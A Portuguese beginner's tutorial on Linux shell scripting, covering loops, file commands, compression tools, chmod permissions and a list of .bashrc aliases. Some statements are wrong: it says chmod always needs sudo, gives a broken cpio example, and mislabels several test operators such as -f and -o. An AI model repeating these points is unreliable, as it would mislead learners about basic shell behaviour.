Já o while é um laço que é executado enquanto um comando retorna OK. Novamente o test é bom de ser usado. Por exemplo, para segurar o processamento do script enquanto um arquivo de lock não é removido:

.

Ex:

while test -f /tmp/lock

do

echo "Script travado..."

sleep 1

done

# Fim do script

.

E por fim, o for percorre uma lista de palavras, pegando uma por vez:

.

Ex:

for numero in um dois três quatro cinco

do

echo "Contando: $numero"

done

# Fim do script

.

Uma ferramenta muito útil para usar com o for é o seq, que gera uma seqüência numérica.

.

Para fazer o loop andar 10 passos, pode-se fazer:

for passo in $(seq 10)

.

O mesmo pode ser feito com o while, usando um contador:

.

i=0

while test $i -le 10

do

i=$((i+1))

echo "Contando: $i"

done

# Fim do script

.

Linux usando o "while" para Loops

.

Como podemos usar o loop while em um shell script?

.

O while funciona assim:

.

while [ condição ]
do
commandos
done

.

No exemplo acima saiba que o início e o final do loop é definido por "do" e "done". Estes dois são palavras chaves do Bash.

.

Exemplo 1 - O loop vai funcionar 5 vezes e imprimir o texto definido dentro do loop.

.

n=1 # Esta é a variável n é igual a um

.

Nome do script: 01-while1.sh

.

#!/bin/bash

n=1

while [ $n -le 5 ]
do
echo "Este é o loop $n"
(( n++ ))
done

# Fim do script

.

Pode abrir o terminal pelo menu do sistema e digitar: nano 01-while1.sh

.

O nano é um editor de texto que funciona na janela do terminal e você pode digitar normalmente nele.

.

Pode também copiar e colar.

.

Depois de colar o script, aperte as teclas Ctrl+O, aperte a tecla Enter e depois a tecla Ctrl+X.

.

Damos poder de execução ao script:

chmod a+x 01-while1.sh

.

Executamos:

./01-while1.sh

.

Ou podemos fazer tudo isto pelo terminal assim:

cd ; mkdir pasta-while-loop ; cd pasta-while-loop/ ; echo -e '#!/bin/bash\necho\n \nn=1\n \nwhile [ $n -le 5 ]\ndo\necho "Este é o loop $n"\n(( n++ ))\ndone\necho' > 01-while1.sh ; chmod a+x 01-while1.sh ; ./01-while1.sh

.

Exemplo:

.

~ $cd ; mkdir pasta-while-loop ; cd pasta-while-loop/ ; echo -e '#!/bin/bash\n \nn=1\n \nwhile [ $n -le 5 ]\ndo\necho "Este é o loop $n"\n(( n++ ))\ndone' > 01-while1.sh ; chmod a+x 01-while1.sh ; ./01-while1.sh
Este é o loop 1
Este é o loop 2
Este é o loop 3
Este é o loop 4
Este é o loop 5
pasta-while-loop $

.

CRIE SEU PRÓPRIO EPUB USANDO O PROGRAMA SIGIL

.

LINUX COMANDOS DE MANIPULAÇÃO DE ARQUIVOS PARA USAR EM SHELL SCRIPT

.

Crie uma pasta, abra o terminal nesta tua pasta criada e execute:

.

ls -t -a -h -l

pwd

cd ..

ls -a

pwd

cd -

ls -t

pwd

touch nome-do-arquivo-a-ser-criado1.txt nome2.txt

ls -t

cat nome2.txt

echo 'Olá Mundo!' > nome2.txt

cat nome2.txt

ls ; echo ; echo "E ..." ; sleep 4 ; echo ; ls -t

clear

mkdir pasta-teste

ls -a

ls -t ; echo

rmdir pasta-teste

ls -t ; pwd

mkdir -p pasta-mama/pasta-filha

ls -t ; echo

> nome-do-arquivo-a-ser-criado3.txt ; > nome4.txt

ls -at ; echo

pwd

cp nome2.txt nome3.txt

ls -t ; echo

mv nome2.txt nome1.txt

ls -t

find -name nome2.txt

find -name nome3.txt

find -name nome1.txt

mv nome1.txt pasta-mama/

find -name nome1.txt

find -name nome3.txt

rm nome3.txt

find -name nome3.txt

ls -t

pwd

find nome-do-arquivo-a-ser-criado3.txt

rm nome-do-arquivo-a-ser-criado3.txt

ls -t

rm nome4.txt nome-do-arquivo-a-ser-criado1.txt

ls -t ; echo

clear

ls

cd pasta-mama/

cd ..

pwd

ls

cd -

ls ; echo

echo -e 'Este texto\n \né do arquivo\n \nnome1.txt\n' >> nome1.txt

cat nome1.txt

ls

mv nome1.txt pasta-filha/

ls ; echo

mkdir pasta-bro

ls

cd pasta-filha/

> texto-filha.txt

ls -t

echo -e "\n \nEste texto\n \nEstá escrito em\n \ntexto-filha.txt!" > texto-filha.txt

cat texto-filha.txt

echo -e "\n \nEste texto\n \nSobreescreve\n \ntexto-filha.txt!" > texto-filha.txt

cat texto-filha.txt

echo -e "\n \nEste texto\n \nSerá adicionado a\n \ntexto-filha.txt\n" >> texto-filha.txt

cat texto-filha.txt

ls -t

cat nome1.txt

cp nome1.txt nome8.txt

clear

ls -t

cat nome8.txt

cd ..

ls

rm -rf pasta-filha/

ls

rmdir pasta-bro/

ls

cd ..

pwd

ls

rmdir pasta-mama/

ls

clear

pwd

echo -e 'L1ee\n L2nn\nL3cc\nL4yy\nL5rr\nL6ii\nL7hh\n L8jj\nL9ss\n L10mm\n L11ww\nL12oo\n L13ff' > 09-texto_teste.txt

mkdir 09-texto_teste ; mv 09-texto_teste.txt 09-texto_teste/ ; cd 09-texto_teste/ ; ls -c

cat 09-texto_teste.txt

head -5 09-texto_teste.txt

head -2 09-texto_teste.txt

tail -6 09-texto_teste.txt

tail -3 09-texto_teste.txt

head -5 09-texto_teste.txt | tail

tail -6 09-texto_teste.txt | head

wc -m 09-texto_teste.txt

wc -w 09-texto_teste.txt

wc 09-texto_teste.txt

more 09-texto_teste.txt

cd ..

rm -r 09-texto_teste/

ls -t

clear

exit

.

Criação/backup de/em links com ln:

ln -s

ln -b

ln -i

.

COMANDOS DE COMPACTAÇÃO / DESCOMPACTAÇÃO

.

TAR

Armazena ou extrai arquivos e diretórios dentro de um único arquivo ou dispositivo.

.

Sintaxe: tar [opções] arquivos_ou_diretórios

Opções:

-c :: cria um novo arquivo .tar e adiciona a ele os arquivos especificados

-x :: retira os arquivos agrupados no arquivo .tar

-f :: indica que o destino é um arquivo em disco e não uma fita magnética

-v :: exibe o nome de cada arquivo processado

-Z :: compacta ou descompacta arquivos utilizando o comando compress

-z :: compacta ou descompacta arquivos utilizando o comando gzip

-j :: compacta ou descompacta arquivos utilizando o comando bzip2

-M :: múltiplos volumes

-b n :: define o tamanho do bloco de dados utilizado pelo tar (n*512 bytes)

.

Exemplos:

1. Gera um arquivo de backup do diretório "documentos1":

tar -cvf documentos.tar documentos1

2. Exibe o conteúdo do arquivo "documentos.tar":

tar -tvf documentos.tar

3. Extrai o conteúdo do arquivo "documentos.tar":

tar -xvf documentos.tar

5. Gera um arquivo de backup compactado com bzip2 do diretório "documentos1":

tar -cvjf memorandos.tar.bz2 documentos1

6. Divide em vários disquetes o arquivo "documentos.tar.bz2":

tar -cvMf /dev/fd0 /operftp/documentos.tar.bz2

7. Extrai o arquivo de backup armazenado no disquete:

tar -xvMf /dev/fd0

.

CPIO

Executa funções de arquivamento de dados.

.

Sintaxe: cpio [opções]

Opções:

-o :: lê nomes de arquivos da entrada padrão e os copia para a saída padrão com a informação necessária para a sua recuperação posterior com o comando: cpio -i

-i :: lê da entrada padrão um arquivo criado pelo comando cpio -o e extrai os arquivos armazenados

-v :: exibe o nome de cada arquivo processado

.

Exemplos:

1. Copia todos os arquivos mencionados em "lista.txt" para o arquivo "backup.cpio":

cpio -o /operftp/lista.txt > /operftp/backup.cpio

2. Extrai todos os arquivos armazenados em "backup.cpio":

cpio -i procedimento.zip

.

COMPRESS

Compacta um ou mais arquivos utilizando a compactação Lempel-Ziv.

Sintaxe: compress [opções] arquivos

Opções:

-c :: grava o arquivo compactado na saída padrão e retém o arquivo original

-d :: descompacta o arquivo

-r :: compacta recursivamente arquivos em todos os subdiretórios

Exemplos:

compress documentos.tar
$ compress -d documentos.tar.Z

.

UNCOMPRESS

Descompacta um ou mais arquivos que tenham sido compactados com o comando compress.

Sintaxe: uncompress [opções] arquivos

Opções:

-c :: grava o resultado na saída padrão e retém o original

-r :: descompacta recursivamente arquivos em todos os subdiretórios

Exemplo:

uncompress documentos.tar.Z

.

GZIP

Compacta um ou mais arquivos.

Sintaxe: gzip [opções] arquivos

Opções:

-c :: grava o arquivo compactado na saída padrão e retém o arquivo original

-d :: descompacta arquivo. O mesmo que gunzip

-f :: sobrescreve arquivos já existentes

-h :: mensagem de ajuda

-l :: lista o conteúdo de um arquivo compactado

-t :: testa a integridade do arquivo compactado

-n :: não salva o nome original

-r :: compacta recursivamente arquivos em todos os subdiretórios

-L :: exibe a licença do comando

Exemplos:

gzip documentos.tar

$ gzip -d documentos.tar.gz

.

GUNZIP

Descompacta arquivos compactados pelos comandos gzip e compress. Utiliza as mesmas opções de gzip.

Sintaxe: gunzip [opções] arquivos

Exemplo:

gunzip documentos.tar.gz

.

BZIP2

Compacta um ou mais arquivos.

Sintaxe: bzip2 [opções] arquivos

Opções:

-z :: força a compressão

-c :: grava na saída padrão

-t :: testa a integridade do arquivo compactado

-f :: sobrescreve arquivos já existentes

-d :: descompacta arquivos. O mesmo que bunzip2

-k :: não apaga os arquivos de entrada

-L :: licença do comando

Exemplos:

bzip2 documentos.tar

$ bzip2 -d documentos.tar.bz2

.

BUNZIP2

Descompacta arquivos compactados pelos comandos gzip ou compress. Utiliza as mesmas opções de bzip2.

Sintaxe: bunzip2 [opções] arquivos

Exemplo:

bunzip2 documentos.tar.bz2

.

ZIP

Compacta um ou mais arquivos.

Sintaxe: zip [opções] arquivo-destino arquivo-origem

Opções:

-e :: permite encriptar o conteúdo de um arquivo ZIP através de senha. A senha será pedida no momento da compactação

-m :: apaga os arquivos originais após a compactação

-r :: compacta recursivamente arquivos em todos os subdiretórios

Exemplos:

zip documentos.zip *.txt

$ zip -r documentos.zip /usr/*.txt

.

UNZIP

Descompacta arquivos compactados pelo comando zip.

Sintaxe: unzip [opções] arquivo.zip arquivos-origem [diretório]

Opções:

-l :: exibe os arquivos existentes dentro do arquivo ZIP

-d :: diretório onde os arquivos serão descompactados

-o :: substitui arquivos existentes sem perguntar

Exemplos:

unzip documentos.zip
$ unzip documentos.zip -d /operftp

.

ZCAT, ZMORE, ZLESS, BZ2CAT

Visualiza o conteúdo de um arquivo texto compactado, sem precisar descompactar o arquivo.

Os comandos zcat, zless e zmore funcionam da mesma forma que cat, less e more. A única diferença, é que esses comandos podem ler diretamente arquivos compactados com gzip ou compress sem precisar descompactar os arquivos.

.

Exemplos:

.

zcat nome_arquivo

zless nome_arquivo

zmore nome_arquivo

bz2cat nome_arquivo

.

Linux permissoes de pastas e arquivos

.

As permissões são usadas para definir quem pode acessar determinados arquivos ou diretórios, assim mantendo segurança e organização em sistemas e redes. Cada arquivo ou pasta tem 3 permissões:

(Usuário Dono) (Grupo Dono) (outros)

.

Usuário dono: é o proprietário do arquivo. Grupo Dono: é um grupo, que pode conter vários usuários. Outros: se encaixam os outros usuários em geral. O comando "ls -lh" faz uma listagem longa e detalhada no diretório onde eu estiver com o terminal aberto.

.

PARA ENTENDER AS PERMISSÕES DE PASTAS E ARQUIVOS, VOU FAZER O SEGUINTE:

.

Abro o terminal pelo menu do sistema. Não sou root, sou um usuário comum com alguns poderes administrativos, mas o prompt do terminal não está em root (#) está ($).

.

CRIO UMA PASTA COM O COMANDO:

mkdir pasta-estudo-permissoes

.

ENTRO NA PASTA COM O COMANDO:

cd pasta-estudo-permissoes/

.

CRIO UM ARQUIVO DE TEXTO CHAMADO estudo-permissoes.txt COM O COMANDO:

> estudo-permissoes.txt

.

CRIO OUTRO ARQUIVO COM O COMANDO:

touch permissoes-estudos.txt

.

DIGITO:

ls -lh

.

O RESULTADO É:

pasta-estudo-permissoes $ls -lh
total 0
-rw-rw-r-- 1 user user 0 mar 8 05:15 estudo-permissoes.txt
-rw-rw-r-- 1 user user 0 mar 8 05:16 permissoes-estudos.txt

.

AS PERMISSÕES DE ARQUIVOS SÃO INFORMADAS A MIM POR 5 CARACTERES. SÃO ELES:

r (significa leitura ), w (significa escrita ), x (significa execução ), - (hífen), d (indica que é uma pasta/diretório)

.

A PERMISSÃO DE ARQUIVOS E PASTAS ESTÁ DIVIDIDA EM QUATRO PARTES POR EXEMPLO:

Parte 1: -, Parte 2: rw-, Parte 3: r--, Parte 4: r--

.

NO TERMINAL ESTAS QUATRO PARTES SERÃO VISTAS ASSIM:

-rw-r--r--

.

EXEMPLO:

-rw-rw-r-- 1 user user 0 mar 8 05:15 estudo-permissoes.txt

.

Parte 1 (-)

hífen: o caractere "-" no início da sequência indica que aquele é um arquivo comum. Caso contrário, indica que a permissão de escrita, leitura ou execução está negada.

.

Parte 2 (rw-)

r: leitura permitida do arquivo ou diretório

.

w: permite editar um arquivo ou modificar o conteúdo de um diretório

.

hífen: o caractere "-" no início da sequência indica que aquele é um arquivo comum. Caso contrário, indica que a permissão de escrita, leitura ou execução está negada.

.

Parte 3 (r --)

r: leitura permitida do arquivo ou diretório

.

hífen: o caractere "-" no início da sequência indica que aquele é um arquivo comum. Caso contrário, indica que a permissão de escrita, leitura ou execução está negada.

.

hífen: o caractere "-" no início da sequência indica que aquele é um arquivo comum. Caso contrário, indica que a permissão de escrita, leitura ou execução está negada.

.

Parte 4 (r--)

r: leitura permitida do arquivo ou diretório

.

hífen: o caractere "-" no início da sequência indica que aquele é um arquivo comum. Caso contrário, indica que a permissão de escrita, leitura ou execução está negada.

.

hífen: o caractere "-" no início da sequência indica que aquele é um arquivo comum. Caso contrário, indica que a permissão de escrita, leitura ou execução está negada.

.

EU POSSO ALTERAR AS PESMISSÕES DESTES ARQUIVOS USANDO CHMOD.

.

O CHMOD É UM COMANDO QUE ALTERA AS PERMISSÕES DE ARQUIVOS E DIRETÓRIOS.

.

APRENDER COMO INTERPRETAR AS PERMISSÕES AJUDA A USAR O COMANDO CHMOD, POIS QUE ESSE COMANDO TRABALHA COM UMA SINTAXE SEMELHANTE.

.

A "FÓRMULA" DE USO MAIS SIMPLES DO CHMOD É:

chmod ugoa+-=rwx arquivo/diretório

.

SENDO QUE:

u: define que as regras serão aplicadas ao usuário

g: define que as regras serão aplicadas ao grupo

o: define que as regras serão aplicadas aos outros usuários do sistema

a: define que as regras serão aplicadas a todos

+: adiciona permissão

-: remove permissão

=: informa que a permissão aplicada deve ser exatamente igual a que será indicada a seguir

r: atribui a permissão de leitura

w: atribui a permissão de escrita

x: atribui a permissão de execução

.

COM ESTE PEQUENO/GRANDE CONHECIMENTO ADQUIRIDO, POSSO EXECUTAR UM COMANDO ALTERANDO AS PERMISSÕES DE UM ARQUIVO QUE EU CRIEI. O ARQUIVO "permissoes-estudos.txt".

.

EXECUTO NO TERMINAL:

sudo chmod g+w permissoes-estudos.txt

.

O chmod precisa ser usado com o comando sudo, pois apenas o usuário root tem a permissão de executá-lo. Depois de informar a senha e de ter concluído a execução, basta listar o arquivo com o ls -l para conferir a nova permissão. Percebo que onde antes era r--, agora se tornou rw-

.

CASO QUEIRA REMOVER A PERMISSÃO DE LEITURA, ESCRITA E EXECUÇÃO DE PESSOAS QUE NÃO PERTENCEM AO GRUPO, USO:

sudo chmod o-rwx permissoes-estudos.txt

.

SE QUISER DAR A PERMISSÃO DE ESCRITA E LEITURA PARA TODOS OS USUÁRIOS DO SISTEMA, BASTA EXECUTAR:

sudo chmod a+rw permissoes-estudos.txt

.

O PARÂMETRO a+rw VAI APENAS ADICIONAR A PERMISSÃO DE LEITURA E ESCRITA, ISTO É, CASO O DONO DO ARQUIVO, GRUPO E OUTROS USUÁRIOS JÁ POSSUAM A PERMISSÃO DE EXECUÇÃO, ELA NÃO SERÁ REVOGADA. SE EU QUISER IMPOR A REGRA DE APENAS LEITURA E ESCRITA, REVOGANDO UMA PERMISSÃO DE EXECUÇÃO PRÉ-EXISTENTE, USO O SINAL DE IGUAL:

sudo chmod a=rw permissoes-estudos.txt

.

OUTRA FORMA DE USAR O CHMOD

.

Existe mais de uma forma de usar o chmod e muitos preferem esta segunda, que ensinaremos a seguir. Em vez de digitar letras e operadores matemáticos, como o caso de a+rw, por exemplo, muitos administradores preferem estipular as permissões com códigos numéricos.

.

PARA ISSO, VOCÊ PRECISA PENSAR NA REGRA DE PERMISSÃO COMO SE FOSSE UMA SEQUÊNCIA DE BITS. A PERMISSÃO rwx, POR EXEMPLO, EQUIVALERIA A 111, ENQUANTO QUE RW- SE TRANSFORMARIA EM 110. RESUMINDO: 1 PARA LETRA, 0 PARA HÍFEN. CONVERTER ESSES NÚMEROS DE BASE BINÁRIA PARA DECIMAL, 111 VIRARIA 7, ENQUANTO QUE 110 SE TORNARIA 6.

.

VEJA O EXEMPLO ABAIXO BEM FÁCIL:

.

rwx
111
7

rw-
110
6

.

SEGUINDO ESSA LÓGICA, SE VOCÊ QUISESSE FORNECER AS PERMISSÕES DE LEITURA, ESCRITA E EXECUÇÃO PARA TODOS OS USUÁRIOS DO SISTEMA, PODERIA DIGITAR A SEGUINTE LINHA:

sudo chmod 777 nome-do-arquivo

.

SE PREFERIR MANTER A OPÇÃO DE EXECUTAR O ARQUIVO APENAS PARA O DONO E GRUPO DELE, ENTÃO A LINHA MUDA PARA:

sudo chmod 776 nome-do-arquivo

.

PARA FACILITAR E NÃO TER QUE CONVERTER DE CABEÇA TODOS ESSES NÚMEROS, EXISTE UMA PEQUENA TABELA DE APENAS OITO (8) PERMISSÕES, QUE PODE SER CONSULTADA SEMPRE QUE NECESSÁRIO:

.

Permissão1: 0 ; Permissão2: 1 ; Permissão3: 2 ; Permissão4: 3 ; Permissão5: 4 ; Permissão6: 5 ; Permissão7: 6 ; Permissão8: 7. Onde a:

.

# A permissão 1:

---

Convertida para binário:

000

Tem o decimal:

0

# A permissão 2:

--x

Convertida para binário:

001

Tem o decimal:

1

# A permissão 3:

-W-

Convertida para binário:

010

Tem o decimal:

2

# A permissão 4:

-WX

Convertida para binário:

011

Tem o decimal:

3

# A permissão 5:

r--

Convertida para binário:

100

Tem o decimal:

4

# A permissão 6:

r-x

Convertida para binário:

101

Tem o decimal:

5

# A permissão 7:

rw-

Convertida para binário:

110

Tem o decimal:

6

# A permissão 8:

rwx

Convertida para binário:

111

Tem o decimal:

7

.

CASO NÃO HAJA TODAS AS PERMISSÕES, PODERÁ APARECER INCOMPLETO:

rwxrw_ _ _x, ou seja, neste exemplo:

Dono do arquivo tem permissão de Ler, Escrever e executar (rwx).

Grupo tem permissão de Ler e Escrever (rw_).

Outros tem permissão apenas de executar. (_ _ x).

.

CONCLUSÃO:

.

EXISTEM DOIS MODOS DE DEFINIR UMA PERMISSÃO, ATRAVÉS DO MODO OCTAL E MODO TEXTUAL.

.

TEXTUAL - Usamos letras antes das permissões (chmod é o comando para modificar permissões de arquivos):

$ chmod u+rw, g+w, o-rwx teste.txt

Onde:

U - representa usuário;
G - representa grupo;
O - representa outros.

ugo

.

MODO OCTAL

.

O modo Octal tem a mesma função de definir permissões, só que em números. Exemplo:

$ chmod 620 permissoes-estudos.txt

(comando) (permissão) (arquivo)

.

Tipo de permissão Octal:

4 - Indica permissão de leitura;
2 - Permissão de escrita;
1 - Indica permissão de execução;
0 - Indica sem permissões.

.

Agora é simples, é só somar e ditar as permissões, exemplo:

4 + 2 + 1 = 7 (permissão de rwx)
4 + 2 = 6 (permissão rw)
4 = (permissão r)

.

Exemplo: A permissão 610 indica que o arquivo tem permissão:

6 para dono do arquivo
1 para grupo e
0 para outros ou seja

dono= (rw_) Grupo=(_ _ x) outros=(_ _ _)

.

Percebo que quando é feita a listagem longa "ls -l", o primeiro caractere não é uma permissão.

.

O primeiro caracter "d" indica o tipo do arquivo, neste caso "d" indica que é um diretório.

.

Existem também outras permissões especiais mas não quero saber no momento.

.

Com um pouco de prática talvez um dia eu esteja alterando permissões de arquivos e diretórios de maneira automática. Mas eu garanto que você e eu, nunca mais vamos esquecer do que faz um chmod 777.

.

É um bom começo. Nunca pare de aprender.

.

Linux criando aliases


Criando aliases

.

No meu sistema operacional Linux, eu tenho a minha home. Dentro da minha home está minha pasta de usuário chamada user. Por padrão, nesta pasta user tem 8 pastas.

1
Vídeos

2
Público

3
Música

4
Modelos

5
Imagens

6
Downloads

7
Documentos

8
Área de Trabalho

.

Aperto as teclas Ctrl+H

.

Encontro o arquivo:

.bashrc

.

Abro o terminal pelo menu do sistema. Faço uma cópia do meu .bashrc com o comando:

.

cp .bashrc .bashrc.back

.

Abro o .bashrc com um editor de texto. Pode ser o Gedit, Leafpad, Pluma, Mousepad, Nano, Gvim, Vim ou Geany.

.

No final do texto que existe no .bashrc posso criar meus aliases.

.

Copio e colo o texto abaixo no final do meu .bashrc:

#
# ALIASES CRIADOS PARA USO PESSOAL
#
# Bash Colorido
# export PS1="\[\033[38;5;135m\]\u\[$(
# )\]\[\033[38;5;15m\]@\[$(
# )\]\[\033[38;5;10m\]\h\[$(
# )\]\[\033[38;5;15m\]:\[$(
# )\]\[\033[38;5;13m\][\[$(
# )\]\[\033[38;5;6m\]\w\[$(
# )\]\[\033[38;5;200m\]]\[$(
# )\]\[\033[38;5;6m\]:\[$(
# )\]\[\033[38;5;15m\] \[$()\]"
#
alias ls2='ls --color=auto'
#
# PARA ESCONDER O NOME DO USUARIO E DO PC
#
export PS1="\W \$"
#
# SABER O PID
#
alias pf="pidof"
#
# MATAR COM NUMERO DO PID
#
alias k9="kill -9"
#
alias k15="kill -15"
#
# Abrir o arquivo .bashrc
#
alias brc="cd ; gedit .bashrc"
#
# LIMPAR A TELA DO TERMINAL
#
alias c="clear"
#
# SAIR DO TERMINAL
#
alias e="clear ; exit"
#
# Modo admin
#
alias root="sudo su"
#
# DESLIGAR O COMPUTADOR
#
alias desl="clear ; echo -e '\nDesligando a máquina em\nSete segundos\n \nFeche todos os programas.\n ' ; sleep 4 ; echo ; sleep 7 ; sudo shutdown -h now"
#
# REINICIAR O COMPUTADOR
#
alias rbt="clear ; echo -e '\nReiniciando a máquina em\nSete segundos\n \nFeche todos os programas.\n ' ; sleep 4 ; echo ; sleep 7 ; sudo shutdown -r now"
#
# ATUALIZAR ALTERAÇÃO DE ALIASES
#
alias sbrc="source .bashrc"
#
# ALIASES PARA ATIVAR SCRIPT
#
alias chm="chmod +x"
#
alias chma="chmod a+x"
#
# ATALHOS PARA LISTAGENS DE DIRETÓRIOS
#
alias ll="ls -l"
#
alias lf="ls -F"
#
alias l="ls -al"
#
alias lm="ls -al | more"
#
alias lis="ls --color"
#
# ALIAS PARA COMANDOS DE DATA E HORA
#
alias d="date +%F"
#
alias agora="date +'%T'"
#
alias hoje="date +'%d/%m/%Y'"
#
# ALIASES HISTÓRICO
#
alias hm="history | more"
#
alias hg="history | grep -i"
#
# PARA OBTER INFORMAÇÕES DO SISTEMA
#
alias def="df -Tha --total"
#
alias deu="du -ach | sort -h"
#
alias freee="free -mt"
#
alias pes="ps auxf | more"
#
# COMANDOS FLATPAK
#
alias comandosflatpak="echo 'flatpak list, Executar aplicativo: flatpak run nome_do_aplicativo_tem_dois_pontos, flatpak uninstall nome_do_aplicativo_pelo_menos_dois_pontos, flatpak update, flatpak remote-list, flatpak remote-list nome_do_repositório, flatpak remote-delete nome_do_repositório, flatpak install --from, flatpak install --from https://, Para executar: flatpak run org.nome_repositorio.nome_do_programa'"
#
# COMANDOS SNAP
#
alias comandossnap="clear ; echo 'sudo snap remove nome_do_pacote, snap find termo_de_busca, snap install nome_do_pacote, snap list, snap changes, sudo snap refresh nome_do_pacote, snap refresh --list, snap revert nome_do_pacote'"
#
# ATALHOS DE TECLADO
#
alias atalhosdeteclado="clear ; echo 'abaixar vol Ctrl+0, aumentar vol Ctrl+9, rep de musica Ctrl+Alt+R, ejetar Ctrl+J, navegador web Ctrl+Alt+K, encerrar sessão Ctrl+Alt+K, desligar Ctrl+Alt+Backspace, desligar Ctrl+Alt+Delete, bloquear tela Ctrl+Alt+L, abrir pasta pessoal Ctrl+Alt+2, pesquisa Alt+F, caixa exec aplicativo Alt+F2, menu na area de trabalho Alt+F1, cap imagem de uma janela Alt+Print, terminal Ctrl+Alt+T, move entre janelas Alt+Tab, mover ente janelas de um aplicativo Alt+crase , mover entre painéis Ctrl+Alt+Tab, mover entre janelas Alt+Esc, mover entre janelas de um aplicativo Alt+F6, menu da janela Alt+Espaço, maximizar/minimizar Alt+F10, restaurar janela Alt+F5, fechar janela Alt+F4, minimizar janela Alt+F9, redimensionar janela Alt+F8, gedit Ctrl+Alt+G, midori Ctrl+Alt+5, seahorse Ctrl+Alt+W, vlc Ctrl+Alt+1, pluma Ctrl+Alt+P, firefox Ctrl+Alt+6'"
#
#
alias ls1='ls --color=auto'
#
alias dir='dir --color=auto'
#
alias vdir='vdir --color=auto'
#
alias grep='grep --color=auto'
#
alias fgrep='fgrep --color=auto'
#
alias egrep='egrep --color=auto'
#
alias ll='ls -l'
#
alias la='ls -A'
#
alias l='ls -CF'
#
# Comandos pwgen para gerar senhas
#
alias pw1='clear ; echo ; echo "Gerar uma senha segura com 8 caracteres, comando: pwgen -sync -1" ; echo ; sleep 3 ; pwgen -s -1 ; echo'
#
alias pw2='clear ; echo ; echo "Gerar uma senha segura com 14 caracteres, comando: pwgen -sync -1 14" ; echo ; sleep 3 ; pwgen -sync -1 14 ; echo'
#
alias pw3='clear ; echo ; echo "Gerar 2 senhas seguras com 22 caracteres, comando: pwgen -sync 22 2" ; echo ; sleep 3 ; pwgen -sync 22 2 ; echo'
#
alias pw4='clear ; echo ; echo "Gerar uma senha com 100 caracteres sem vogais mas com pelo menos UMA LETRA MAIÚSCULA, comando: pwgen -snc 100 -1" ; echo ; sleep 5 ; pwgen -snc 100 -1 ; echo'
#
alias pw5='clear ; echo ; echo -e "Para criar uma senha de 16 caracteres\n \nLetras maiúsculas, minúsculas e números\n \nuse o comando: pwgen 16 -sync 1\n \nVou gerar para você uma senha destas agora" ; echo ; sleep 4 ; pwgen 16 -s 1 ; echo'
#
#
# Limpar histórico
#
alias hc='history -c'
#
#
alias inxinfo="clear ; echo ; echo 'inxi -A Para ver informações das placas de som/áudio do computador' ; echo ; inxi -A ; echo ; sleep 5 ; echo 'inxi -C Para ver informações gerais apenas do CPU' ; echo ; inxi -C ; echo ; sleep 6 ; echo 'inxi -b é bem completo' ; echo ; inxi -b ; sleep 9 ; echo ; echo 'inxi -D Para ver informações completas de armazenamento dos SSDs/HDDs, etc
' ; echo ; inxi -D ; echo ; sleep 7 ; echo 'inxi -G Para ver informações sobre a placa de vídeo' ; echo ; inxi -G ; sleep 7 ; echo ; echo 'inxi -l Para ver informações sobre a tabela de partições' ; echo ; inxi -l ; echo ; sleep 8"
#
# Info da RAM
alias memoinfo='clear ; free -mthl'
#
#
alias sobreoif="echo -e '\e[1;33m\nO if Pode ser acompanhado De outras 13 Declarações:\n \n1 - if [ -eq \$variável ] -eq Igual\n2 - if [ -ne \$variável ] -ne Diferente\n3 - if [ -gt \$variável ] -gt Maior\n4 - if [ -lt \$variável ] -lt Menor\n5 - if [ -o \$variável ] -o Ou\n6 - if [ -d \$variável ] -d Se for um diretório\n7 - if [ -e \$variável ] -e Se existir\n8 - if [ -z \$variável ] -z Se estiver vazio\n9 - if [ -f \$variável ] -f Se conter texto\n10 - if [ -o \$variável ] -o Se o usuário for o dono\n11 - if [ -r \$variável ] -r Se o arquivo pode ser lido\n12 - if [ -w \$variável ] -w Se o arquivo pode ser alterado\n13 - if [ -x \$variável ] -x Se o arquivo pode ser executado\e[0m\n '"
#
export PATH=$PATH:$HOME/bin
#
# FIM DOS ALIASES CRIADOS PARA USO PESSOAL

.

Depois abro o terminal pelo menu do sistema e digito:

.

source .bashrc

.

Aperto a tecla Enter.

.

Para remover um alias da lista é só eu adicionar # antes da palavra: alias

.

Salvar o arquivo .bashrc fechar o editor de texto.

.

Se eu não gosto dos meus aliases é só apagar o .bashrc e renomear .bashrc.back para .bashrc.

.

Posso usar o comando:

.

mv .bashrc.back .bashrc

.

E depois:

.

source .bashrc

.

Até Breve!

.

🙂

.

Comandos mais usados do shellscript

.

COMANDOS MAIS USADOS DO SHELLSCRIPT 08

.

Sobre o Comandos mais usados do shellscript 08:

É para iniciantes. Pretende oferecer o máximo de informação possível em pouco tempo, para que a pessoa ao terminar de EXECUTAR este artigo entenda bastante coisa sobre shell script e seja capaz de criar scripts úteis para si mesma. Desde o primeiro artigo eu editei ele umas oito vezes. Para mim este ficou mais interessante. Longe de ser perfeito, peço que faça vista grossa a erros de digitação ou definições ligeiramente incoerentes. O negócio é que este artigo é realmente útil para mim e espero que seja útil para você também. A maior parte deste artigo é fruto de pesquisa, mas alguns trechos eu escrevi e reescrevi.

.

Por favor não esqueça de dar intervalos em seus estudos para se esticar, hidratar, etc.

Sabe por que?

Porque depois de executar algumas partes deste artigo a ficha cai, a pessoa fica animada e não quer parar (tipo eu).

.

Vamos lá?

.

Qual é o seu usuário?

.

Se você não tem certeza qual é o seu usuário, use o comando "whoami" sem aspas, para saber.

.

Abra o terminal pelo menu do sistema.

.

Como o prompt de usuário normal pode ser diferente para cada um, podemos em algum momento usar "prompt$" para indicar o prompt da linha de comando.

.

ALGUMAS DICAS ÚTEIS QUE SERÃO REPETIDAS DURANTE O CAMINHO:

.

1
Não execute shell script como root.

.

2
O shell script Linux usando o interpretador de comandos Bash começa com o shebang:

#!/bin/bash

.

3
Abra um editor de texto e cole nele o script salvando com um nome que termine com extensão .sh

.

4
Dar permissão para executar o script pode ser só para você ou para todos usarem:

chmod +x MeuScript.sh (só você)
chmod a+x MeuScript.sh (todos os usuários do PC)

.

5
Um script pode ser executado de 3 modos:

bash MeuScript.sh
sh MeuScript.sh
./MeuScript.sh

.

Exemplo para começar bem. Copie e cole o código abaixo no terminal que você vai abrir pelo MENU DO SISTEMA:

.

echo -e '#!/bin/bash\nclear\necho\necho Olá usuário Linux!\nsleep 2\necho\necho Olá Mundo!\nsleep 2\nVALOR=GNU/Linux\necho\necho Você quer aprender comandos $VALOR?\nsleep 2\necho\necho Então vamos aprender comandos $VALOR!\nsleep 2\necho\necho Até Breve usuário Linux!\necho\nsleep 2\nexit' > 03-olauser.sh ; chmod +x 03-olauser.sh ; bash 03-olauser.sh

.

